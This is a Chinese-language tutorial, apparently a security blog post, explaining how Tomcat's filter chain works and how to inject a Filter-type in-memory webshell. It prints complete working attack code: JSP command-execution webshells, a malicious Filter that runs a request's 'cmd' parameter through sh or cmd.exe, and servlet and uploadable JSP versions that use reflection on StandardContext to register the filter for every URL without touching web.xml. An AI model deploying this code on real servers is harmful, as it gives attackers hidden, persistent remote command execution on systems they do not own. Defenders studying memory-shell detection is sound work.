Java内存马 Tomcta之Filter型内存马

0x01 前言

学过Servlet的应该知道filter(过滤器),我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作,下面是一张简单的流程图
从上图可以看出,我们的请求会经过filter之后才会到Servlet,那么如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就会进行命令执行,这样也就成为了一个内存Webshell
所以我们的目标就是:动态注册恶意Filter,并且将其放到最前面

0x02 Tomcat Filter流程分析

在学习Filter内存马的注入之前,我们先来分析一下正常Filter在Tomcat中的流程是什么样的

项目搭建

首先在IDEA中创建Servlet,
自定义Filter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example.servletdemo.Filters;    
    
import javax.servlet.*;    
import java.io.IOException;    
    
public class filter implements Filter{    
    @Override    
    public void init(FilterConfig filterConfig) throws ServletException {    
        System.out.println("Filter 初始构造完成");    
    }    
    
    @Override    
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {    
        System.out.println("执行了过滤操作");    
        filterChain.doFilter(servletRequest,servletResponse);    
    }    
    
    @Override    
    public void destroy() {    
    
    }    
}  

然后修改web.xml文件,这里设置url-pattern/filter即访问/filter才会触发

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?xml version="1.0" encoding="UTF-8"?>    
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"    
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"    
 version="4.0">    
 <filter> <filter-name>filter</filter-name>    
 <filter-class>filter</filter-class>    
 </filter>    
 <filter-mapping> <filter-name>filter</filter-name>    
 <url-pattern>/filter</url-pattern>    
 </filter-mapping></web-app>  

访问 url,触发成功。

在访问/filter之后的流程分析

流程分析,需要在此之前导入catalina.jartomcat-websocket
导入完毕之后,在filter.java下的doFilter这个地方打断点。并且访问/filter接口
跟进到doFilter方法中,
这里进入到了ApplicationFilterChain类的doFilter()方法,它主要是进行了Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断
进入到这个方法,会直接执行到末尾,
继续跟进去,这里是ApplicationFilterChain类的internalDoFilter()方法
其中filter是从ApplicationFilterConfig filterConfig = this.filters[this.pos++]中来的,而filters的定义如下
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
现在是有两个filter的
0是我们自己设置的filter,1是tomcat自带的filter,因此此时pos是1所以取到tomcat的filter。
继续走,这里就调用了tomcat的filter的doFilter()方法
再往下走,会走到chain.doFilter()这个地方,会发现这一个方法会回到ApplicationFilterChain类的DoFilter()方法里面
这个地方需要理解一下,因为是一条Filter链,所以会一个个获取Filter,直到最后一个
现在我们只定义了一个Filter,所以现在循环获取Filter链就是最后一次
在最后一次获取Filter链的时候,会走到this.servlet.service(request,response);这个地方
最后一个filter调用servletservice方法
上一个Filter.doFilter()方法中调用FilterChain.doFilter()方法将调用下一个Filter.doFilter()方法;这也就是我们的Filter的链,是去逐个获取的。
最后一个Filter.doFilter()方法中调用的FilterChain.doFilter()方法将调用目标Servlet.service()方法。
只要Filter链中任意一个Filter没有调用FilterChain.doFilter()方法,则目标Servlet.service()方法都不会被执行。

在访问/filter之前的流程分析

我们需要基于filter去实现一个内存马,就需要找到filter是如何被创建的。
把断点下载最远的一处invoke()方法的地方
我们看到的类是StandardEngineValue,对应的Pipeline就是EnginePipeline它进行了invoke()方法的调用,这个invoke()方法的调用的目的就是AbstractAccessLogValue类的invoke()方法。其实这一步已经安排了一个request,wrapper,servlet传递的顺序。
接着是AbstarctAccessLogValue类的invoke()方法,然后就是一步步调用invoke()方法。
如图所示
至此,invoke()部分的所有流程分析完毕,接着继续往上看,也就是doFilter()方法。这个doFilter()方法也是由最近的那个invoke()方法调用的。如图,把断点下过去。
重点关注一下filterChain这个变量是什么?
跟进createFilterChain()这个方法。使用ApplicationFilterFactory.createFilterChain()创建了一个过滤链,将request,warpper,servlet进行传递
createFilterChain()方法走一下流程。这里就是判断FilterMaps是否为空,若为空则会调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMaps数组。
再看后面代码
遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
这时候再进入doFilter()的方法其实是,将请求交给其pipeline去处理,由pipeline中的所有valve顺序请求处理。后续的就是我们前文分析过的再访问/filter之后的流程分析。

总结一下分析流程

1、invoke()方法

层层调用管道,在最后一个管道的地方会创建一个链子,这个链子就是FilterChain,再对里头的filter进行一些相关的匹配。

2、filterchain拿出来之后

进行doFilter()工作,将请求交给对应的pipeline去处理,也就是进行一个doFilter()->internalDoFilter()->doFilter()直到最后一个filter被调用。

3、最后一个filter

最后一个filter会执行完doFilter()操作,随后会跳转到Servlet.service()这里。

4、小结一下攻击思路

分析完了运行流程,那如何攻击呢?
攻击代码应该生效于这一块
只需要构造含有恶意的filter的filterConfig和filterMaps,就可以达到触发的目的,并且他们都是从StandardContext中来的。
而这个filterMaps中的数据对应web.xml中的filter-mapping标签。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?xml version="1.0" encoding="UTF-8"?>    
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"    
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"    
 version="4.0">    
 <filter> <filter-name>filter</filter-name>    
 <filter-class>filter</filter-class>    
 </filter>    
 <filter-mapping> <filter-name>filter</filter-name>    
 <url-pattern>/filter</url-pattern>    
 </filter-mapping></web-app>  

0x03 Filter型内存马攻击思路分析

上文说过需要修改filterMaps,也就是如何修改web.xml
filterMaps可以通过如下两个方法添加数据,对应的类是StandardContext这个类。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
@Override  
public void addFilterMap(FilterMap filterMap) {  
    validateFilterMap(filterMap);  
    // Add this filter mapping to our registered set  
    filterMaps.add(filterMap);  
    fireContainerEvent("addFilterMap", filterMap);  
}  
  
@Override  
public void addFilterMapBefore(FilterMap filterMap) {  
    validateFilterMap(filterMap);  
    // Add this filter mapping to our registered set  
    filterMaps.addBefore(filterMap);  
    fireContainerEvent("addFilterMap", filterMap);  
}  

StandardContext这个类是一个容器类,它负责存储整个Web应用程序的数据和对象,并加载了web.xml中配置的多个ServletFilter对象以及它们的映射关系。
里面有三个和Filter有关的成员变量:

1
2
3
filterMaps变量包含所有过滤器的URL映射关系   
filterDefs变量包含所有过滤器包括实例内部等变量   
filterConfigs变量包含所有与过滤器对应的filterDef信息及过滤器实例进行过滤器进行管理  

filterConfigs成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。
filterDefs成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据。
filterMaps中的FilterMap则记录了不同filter与UrlPattern的映射关系

1
2
3
4
5
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();   
  
private HashMap<String, FilterDef> filterDefs = new HashMap();   
  
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();  

讲完了一些基础概念,来看一下ApplicationFilterConfig里面存了什么东西
它有三个重要的东西:
一个是ServletContext,一个是filter,一个是filterDef
其中filterDef就是对应web.xml中的filter标签

1
2
3
4
<filter>    
 <filter-name>filter</filter-name>    
 <filter-class>filter</filter-class>    
</filter>  

org.apache.catalina.core.StandardContext#filterStart中可以看到filterConfig可以通过filterConfigs.put(name,filterConfig);添加

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public boolean filterStart() {  
  
        if (getLogger().isDebugEnabled()) {  
            getLogger().debug("Starting filters");  
        }  
        // Instantiate and record a FilterConfig for each defined filter  
        boolean ok = true;  
        synchronized (filterConfigs) {  
            filterConfigs.clear();  
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {  
                String name = entry.getKey();  
                if (getLogger().isDebugEnabled()) {  
                    getLogger().debug(" Starting filter '" + name + "'");  
                }  
                try {  
                    ApplicationFilterConfig filterConfig =  
                            new ApplicationFilterConfig(this, entry.getValue());  
                    filterConfigs.put(name, filterConfig);  
                } catch (Throwable t) {  
                    t = ExceptionUtils.unwrapInvocationTargetException(t);  
                    ExceptionUtils.handleThrowable(t);  
                    getLogger().error(sm.getString(  
                            "standardContext.filterStart", name), t);  
                    ok = false;  
                }  
            }  
        }  
  
        return ok;  
    }  
  

构造思路

通过前文分析,得出构造的主要思路如下
1、通过当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
3、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

0x04 Filter型内存马的实现

JSP的无回显木马

1
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>  

回显的木马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<% if(request.getParameter("cmd")!=null){  
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();  
    int a = -1;  
    byte[] b = new byte[2048];  
    out.print("<pre>");  
    while((a=in.read(b))!=-1){  
        out.print(new String(b));  
    }  
    out.print("</pre>");  
}  
%>  

将要这个有回显的木马插入到Filter里面,配置一个恶意的Filter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import javax.servlet.*;    
import javax.servlet.http.HttpServletRequest;    
import javax.servlet.http.HttpServletResponse;    
import java.io.IOException;    
import java.io.InputStream;    
import java.util.Scanner;    
    
public class filter implements Filter{    
    @Override    
    public void init(FilterConfig filterConfig) throws ServletException {    
        System.out.println("Filter 初始构造完成");    
    }    
    
    @Override    
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {    
        HttpServletRequest request = (HttpServletRequest) servletRequest;    
        HttpServletResponse response = (HttpServletResponse) servletResponse;    
        if(request.getParameter("cmd") != null){    
            boolean isLinux = true;    
            String osTyp = System.getProperty("os.name");    
            if(osTyp !=null && osTyp.toLowerCase().contains("win")){    
                isLinux = false;    
            }    
            String[] cmds = isLinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};    
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();    
            Scanner s = new Scanner(in);    
            String output = s.hasNext() ? s.next() : "";    
            response.getWriter().write(output);    
            response.getWriter().flush();    
        }    
        filterChain.doFilter(servletRequest,servletResponse);    
    }    
    
    @Override    
    public void destroy() {    
    
    }    
}  

先跑一下
本质上其实就是Filter中接受执行参数,但是如果我们在现实情况中需要动态的将该Filter给添加进去。
由前面Filter实例存储分析得知StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将filter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext成为了问题的关键。

Filter型内存马

尝试分步骤自己手写一下EXP,构造思路如下
反射获取到standContext

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
ServletContext servletContext = request.getSession().getServletContext();    
try {    
    Field appctx = servletContext.getClass().getDeclaredField("context");    
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);    
    Field stdctx = applicationContext.getClass().getDeclaredField("context");    
    stdctx.setAccessible(true);    
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);    
    
    String Filtername = "cmdFilter";    
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");    
    Configs.setAccessible(true);    
    Map filterConfigs = (Map) Configs.get(standardContext);    
} catch (Exception e) {    
    throw new RuntimeException(e);    
}  

接着,定义一个Filter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Filter filter = new Filter(){    
    @Override    
    public void init(FilterConfig filterConfig) throws ServletException {    
        System.out.println("Filter 初始构造完成");    
    }    
    
    @Override    
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {    
        HttpServletRequest request = (HttpServletRequest) servletRequest;    
        HttpServletResponse response = (HttpServletResponse) servletResponse;    
        if(request.getParameter("cmd") != null){    
            boolean isLinux = true;    
            String osTyp = System.getProperty("os.name");    
            if(osTyp !=null && osTyp.toLowerCase().contains("win")){    
                isLinux = false;    
            }    
            String[] cmds = isLinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};    
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();    
            Scanner s = new Scanner(in).useDelimiter("\\A");    
            String output = s.hasNext() ? s.next() : "";    
            response.getWriter().write(output);    
            response.getWriter().flush();    
        }    
        filterChain.doFilter(servletRequest,servletResponse);    
    }    
    
    @Override    
    public void destroy() {    
    
    }    
};  

再设置FilterDef和FilterMaps

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
//反射获取FilterDef 设置filter等参数后,调用addFilterDef将FilterDef添加    
    Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");    
    Constructor declaredConstructors = FilterDef.getDeclaredConstructor();    
    FilterDef o = (FilterDef) declaredConstructors.newInstance();    
    o.setFilter(filter);    
    o.setFilterName(Filtername);    
    o.setAsyncSupported(filter.getClass().getName());    
    standardContext.addFilterDef(o);    
    //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去    
    Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");    
    Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();    
    org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();    
    o1.addURLPattern("/*");    
    o1.setFilterName(Filtername);    
    o1.setDispatcher(DispatcherType.REQUEST.name());    
    standardContext.addFilterMap(o1);  

最后将它们都添加到filterConfig里面,再放到web.xml里面

1
2
3
4
5
6
7
//反射获取ApplicationFilterConfig,构造方法将FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去    
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");    
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);    
declaredConstructor1.setAccessible(true);    
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);    
filterConfigs.put(Filtername,filterConfig);    
response.getWriter().write("Success");  

FilterShell.java

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
package org.example.servletdemo;    
    
import org.apache.catalina.Context;    
import org.apache.catalina.core.ApplicationContext;    
import org.apache.catalina.core.ApplicationFilterConfig;    
import org.apache.catalina.core.StandardContext;    
import org.apache.tomcat.util.descriptor.web.FilterDef;    
import org.apache.tomcat.util.descriptor.web.FilterMap;    
    
import javax.servlet.*;    
import javax.servlet.annotation.WebServlet;    
import javax.servlet.http.HttpServlet;    
import javax.servlet.http.HttpServletRequest;    
import javax.servlet.http.HttpServletResponse;    
import java.io.IOException;    
import java.io.InputStream;    
import java.lang.reflect.Constructor;    
import java.lang.reflect.Field;    
import java.util.Map;    
import java.util.Scanner;    
    
@WebServlet("/demoServlet")    
public class FilterShell extends HttpServlet {    
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    
        try {    
            ServletContext servletContext = request.getSession().getServletContext();    
            Field appctx = servletContext.getClass().getDeclaredField("context");    
            appctx.setAccessible(true);    
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);    
            Field stdctx = applicationContext.getClass().getDeclaredField("context");    
            stdctx.setAccessible(true);    
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);    
    
            String Filtername = "cmdFilter";    
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");    
            Configs.setAccessible(true);    
            Map filterConfigs = (Map) Configs.get(standardContext);    
    
            Filter filter = new Filter(){    
                @Override    
                public void init(FilterConfig filterConfig) throws ServletException {    
                    System.out.println("Filter 初始构造完成");    
                }    
    
                @Override    
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {    
                    HttpServletRequest request = (HttpServletRequest) servletRequest;    
                    HttpServletResponse response = (HttpServletResponse) servletResponse;    
                    if(request.getParameter("cmd") != null){    
                        boolean isLinux = true;    
                        String osTyp = System.getProperty("os.name");    
                        if(osTyp !=null && osTyp.toLowerCase().contains("win")){    
                            isLinux = false;    
                        }    
                        String[] cmds = isLinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};    
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();    
                        Scanner s = new Scanner(in).useDelimiter("\\A");    
                        String output = s.hasNext() ? s.next() : "";    
                        response.getWriter().write(output);    
                        response.getWriter().flush();    
                    }    
                    filterChain.doFilter(servletRequest,servletResponse);    
                }    
    
                @Override    
                public void destroy() {    
    
                }    
            };    
        //反射获取FilterDef 设置filter等参数后,调用addFilterDef将FilterDef添加    
            Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");    
            Constructor declaredConstructors = FilterDef.getDeclaredConstructor();    
            FilterDef o = (FilterDef) declaredConstructors.newInstance();    
            o.setFilter(filter);    
            o.setFilterName(Filtername);    
            o.setAsyncSupported(filter.getClass().getName());    
            standardContext.addFilterDef(o);    
            //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去    
            Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");    
            Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();    
            org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();    
            o1.addURLPattern("/*");    
            o1.setFilterName(Filtername);    
            o1.setDispatcher(DispatcherType.REQUEST.name());    
            standardContext.addFilterMap(o1);    
            //反射获取ApplicationFilterConfig,构造方法将FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去    
            Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");    
            Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);    
            declaredConstructor1.setAccessible(true);    
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);    
            filterConfigs.put(Filtername,filterConfig);    
            response.getWriter().write("Success");    
    
        } catch (Exception e) {    
            throw new RuntimeException(e);    
        }    
    
    }    
    
    @Override    
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {    
        super.doGet(req, resp);    
    }    
}  

如果是文件上传应该是.jsp文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="org.apache.catalina.core.ApplicationContext" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="java.util.Map" %>  
<%@ page import="java.io.IOException" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>  
<%@ page import="java.lang.reflect.Constructor" %>  
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>  
<%@ page import="org.apache.catalina.Context" %>  
<%@ page import="java.io.InputStream" %>  
<%@ page import="java.util.Scanner" %>  
  
<%  
    final String name = "Drunkbaby";  
    // 获取上下文  
    ServletContext servletContext = request.getSession().getServletContext();  
  
    Field appctx = servletContext.getClass().getDeclaredField("context");  
    appctx.setAccessible(true);  
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);  
  
    Field stdctx = applicationContext.getClass().getDeclaredField("context");  
    stdctx.setAccessible(true);  
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);  
  
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");  
    Configs.setAccessible(true);  
    Map filterConfigs = (Map) Configs.get(standardContext);  
  
    if (filterConfigs.get(name) == null){  
        Filter filter = new Filter() {  
            @Override  
            public void init(FilterConfig filterConfig) throws ServletException {  
  
            }  
  
            @Override  
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
                HttpServletRequest req = (HttpServletRequest) servletRequest;  
                if (req.getParameter("cmd") != null) {  
                    boolean isLinux = true;  
                    String osTyp = System.getProperty("os.name");  
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {  
                        isLinux = false;  
                    }  
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};  
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();  
                    Scanner s = new Scanner( in ).useDelimiter("\\a");  
                    String output = s.hasNext() ? s.next() : "";  
                    servletResponse.getWriter().write(output);  
                    servletResponse.getWriter().flush();  
                    return;  
                }  
                filterChain.doFilter(servletRequest, servletResponse);  
            }  
  
            @Override  
            public void destroy() {  
  
            }  
  
        };  
  
        FilterDef filterDef = new FilterDef();  
        filterDef.setFilter(filter);  
        filterDef.setFilterName(name);  
        filterDef.setFilterClass(filter.getClass().getName());  
        standardContext.addFilterDef(filterDef);  
  
        FilterMap filterMap = new FilterMap();  
        filterMap.addURLPattern("/*");  
        filterMap.setFilterName(name);  
        filterMap.setDispatcher(DispatcherType.REQUEST.name());  
  
        standardContext.addFilterMapBefore(filterMap);  
  
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);  
        constructor.setAccessible(true);  
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);  
  
        filterConfigs.put(name, filterConfig);  
        out.print("Success");  
    }  
%>  
0%